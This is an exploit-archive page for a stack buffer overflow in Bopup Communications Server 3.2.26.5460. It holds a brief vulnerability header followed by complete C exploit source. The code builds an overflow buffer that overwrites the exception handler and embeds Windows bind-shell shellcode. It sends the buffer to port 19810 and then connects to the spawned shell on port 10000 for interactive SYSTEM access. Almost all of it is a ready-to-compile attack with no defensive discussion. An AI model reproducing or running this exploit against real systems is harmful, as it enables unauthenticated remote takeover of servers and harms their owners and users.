Bopup Communications Server 3.2.26.5460 Remote SYSTEM

2009-07-03 / 2009-07-04
Credit: mu-b
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* bopup-down.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Bopup Communications Server remote SYSTEM exploit * by mu-b - Sat Feb 08 2008 * * - Tested on: Bopup Communications Server 3.2.26.5460 (Mar 18 2009) * * .text:00407A17 lea eax, [ebp+pkt_0x19] * .text:00407A1D push eax * .text:00407A1E lea eax, [ebp+var_354] * .text:00407A24 push eax * .text:00407A25 call _strcpy * * note: this is updated over time for newer versions, I can't be bothered * making it universal nor anything else... * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <unistd.h> #define BUF_SIZE 2048 #define BOPUP_STR_OFFSET 0x19 #define BOPUP_STR_LEN 0x348+8 #define BOPUP_POPRET 0x00401DD5 #define NOP 0x41 #define PAD 0xCC #define DEF_PORT 19810 #define PORT_BOPUP DEF_PORT #define PORT_SHELL 10000 static char win32_x86_bind[] = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x27\x10\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"; static int sock_send (int fd, char *src, int len) { int n; if ((n = send (fd, src, len, 0)) < 0) { fprintf (stderr, "sock_send: send() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static int sock_recv (int fd, char *dst, int len) { int n; if ((n = recv (fd, dst, len, 0)) < 0) { fprintf (stderr, "sock_recv: recv() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } return (n); } static void shellami (int fd) { int n; fd_set rset; char rbuf[1024]; while (1) { FD_ZERO (&rset); FD_SET (fd, &rset); FD_SET (STDIN_FILENO, &rset); if (select (fd + 1, &rset, NULL, NULL, NULL) < 0) { fprintf (stderr, "shellami: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if (FD_ISSET (fd, &rset)) { if ((n = sock_recv (fd, rbuf, sizeof (rbuf) - 1)) <= 0) { fprintf (stderr, "shellami: connection closed by foreign host.\n"); exit (EXIT_SUCCESS); } rbuf[n] = '\0'; printf ("%s", rbuf); fflush (stdout); } if (FD_ISSET (STDIN_FILENO, &rset)) { if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0) { rbuf[n] = '\0'; sock_send (fd, rbuf, n); } } } } static int sockami (char *host, int port) { struct sockaddr_in address; struct hostent *hp; int fd; if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1) { fprintf (stderr, "sockami: socket() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } if ((hp = gethostbyname (host)) == NULL) { fprintf (stderr, "sockami: gethostbyname() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } memset (&address, 0, sizeof (address)); memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length); address.sin_family = AF_INET; address.sin_port = htons (port); if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0) { fprintf (stderr, "sockami: connect() - %s\n", strerror (errno)); return (-1); } return (fd); } static void zbuffami (char *zbuf) { char *ptr, *j_ptr; ptr = zbuf; memcpy (ptr, "\x01\x00\x00\x00", sizeof (int)); memset (ptr + sizeof (int), PAD, BOPUP_STR_OFFSET - sizeof (int)); memset (ptr + BOPUP_STR_OFFSET, NOP, BOPUP_STR_LEN); ptr += BOPUP_STR_OFFSET + BOPUP_STR_LEN - 8; j_ptr = ptr - 32; memcpy (j_ptr - (sizeof (win32_x86_bind)) + 1, win32_x86_bind, sizeof (win32_x86_bind) - 1); *j_ptr++ = '\xe9'; *j_ptr++ = (-(sizeof (win32_x86_bind) - 1 + 5) & 0x000000ff); *j_ptr++ = (-(sizeof (win32_x86_bind) - 1 + 5) & 0x0000ff00) >> 8; *j_ptr++ = (-(sizeof (win32_x86_bind) - 1 + 5) & 0x00ff0000) >> 16; *j_ptr++ = (-(sizeof (win32_x86_bind) - 1 + 5) & 0xff000000) >> 24; *ptr++ = '\xeb'; *ptr++ = '\xde'; *ptr++ = 0x90; *ptr++ = 0x90; *(unsigned int *) ptr = BOPUP_POPRET; } int main (int argc, char **argv) { char zbuf[BUF_SIZE]; int fd, n; printf ("Bopup Communications Server remote SYSTEM exploit\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <host>\n", argv[0]); exit (EXIT_SUCCESS); } fd = sockami (argv[1], PORT_BOPUP); if (fd == -1) { fprintf (stderr, "%s: sockami failed\n", argv[0]); exit (EXIT_FAILURE); } printf ("* connected to %s:%d\n\n", argv[1], PORT_BOPUP); printf ("** SEH offset @+%04X\n", BOPUP_STR_OFFSET + BOPUP_STR_LEN - 8); printf ("** return addy @0x%08X\n\n", BOPUP_POPRET); printf ("* building buffer with shellcode..."); zbuffami (zbuf); printf ("done\n"); printf ("* sending request..."); if ((n = sock_send (fd, zbuf, BOPUP_STR_OFFSET + BOPUP_STR_LEN)) != BOPUP_STR_OFFSET + BOPUP_STR_LEN) { fprintf (stderr, "%s: sock_send returned %d (!= %d)\n", argv[0], n, BOPUP_STR_OFFSET + BOPUP_STR_LEN); exit (EXIT_FAILURE); } printf ("done\n"); close (fd); printf ("* waiting for the shellcode to be executed...\n"); sleep (2); if ((fd = sockami (argv[1], PORT_SHELL)) != -1) { printf ("+Wh00t!\n\n"); shellami (fd); } return (EXIT_SUCCESS); }


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